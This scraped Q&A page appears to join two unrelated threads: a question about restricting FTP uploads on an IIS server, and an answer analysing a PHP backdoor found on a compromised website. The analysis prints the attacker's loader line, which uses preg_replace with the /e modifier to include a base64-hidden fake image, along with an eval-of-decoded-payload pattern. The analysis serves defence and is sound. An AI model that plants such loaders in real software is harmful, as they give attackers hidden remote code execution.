I currently have a Windows 2012 Server which is acting as a webserver running IIS.
I am using Filezilla to host an FTP server to allow some clients FTP access to their own websites.

I have setup the FTP account with ease and they are able to access their website folder. However I really wish to explore this further and actually make this secure. At the moment there is nothing stopping them uploading .exe file and run on the website, to hack my server.

How can I limit the files they upload to just a few desired extensions such as PHP, JS as well as disabling renaming of entities (to stop them changing back the extention to .exe as an example).
Additionally, are there any other security measures I could take?

Please tell me if I missed any information. Please do not reply with comments such as "If you don't trust them, dont give access" as this is off topic


  What will this code actually will do?


You have a backdoor that allows Remote Code Execution





Credit to borjab for the inital decode


<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>



Note this base64 encoded string we found in the first file: 

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc


When decoding that string, it points to this file: 

/home4/mitzvahc/public_html/assets/img/logo_small.png




The "image" file is not what it seems to be.

kayge pointed out that the file is obviously accessible online. So I downloaded your "image", which is where the real hack is happening. The first script is trying to load the content's of that image. 

Inside the pretend image, there are two eval() statements which allow full arbitrary code execution when checking $GLOBALS[ooooOOOOo(0)]. 

This only happens if the attacker attempts to set that variable. 99% of the time when you see eval(), all you really need to know is that your entire web server is compromised by remote code execution. Here's what it's doing:

eval(gzuncompress(base64_decode("evil_payload")));


Of course, you were already compromised through some form of exploit, but this gives the attacker an obfuscated backdoor into your web server that they can continually access, even if you were to patch the problem allowing them to write files in the first place.



What are the evil gunzip contents?


You can see them here.
Inside the above, here's another encoding dump (Thanks, Technik Empire)
Technik Empire just greatly contributed to the deobfuscation of the contents in #2.
nneonneo cleaned it up even more. 




Why is this happening?


  How it's possible that a supposedly locked PHP file can get updated on the server?


This is too broad to answer without having access to everything. You may have incorrect hardening on your Content Management System installation, or there may be a vulnerability somewhere in your web stack. I don't care to visit your website considering what's going on, so you can check these links if they're part of your CMS:


Joomla Security Checklist
WordPress Hardening
Django Deployment Checklist


If your CMS isn't listed, look for hardening/security checklists for your CMS installation. If you are not using a CMS, but rather your own code, then it's on you to fix your security holes.

There could be any number of reasons why this is happening... but the bottom line is: either your web host has been hacked, or you have an exploit on your website which allows malicious individuals to insert additional code and give them full control over your website... meanwhile, they are attacking your visitors.
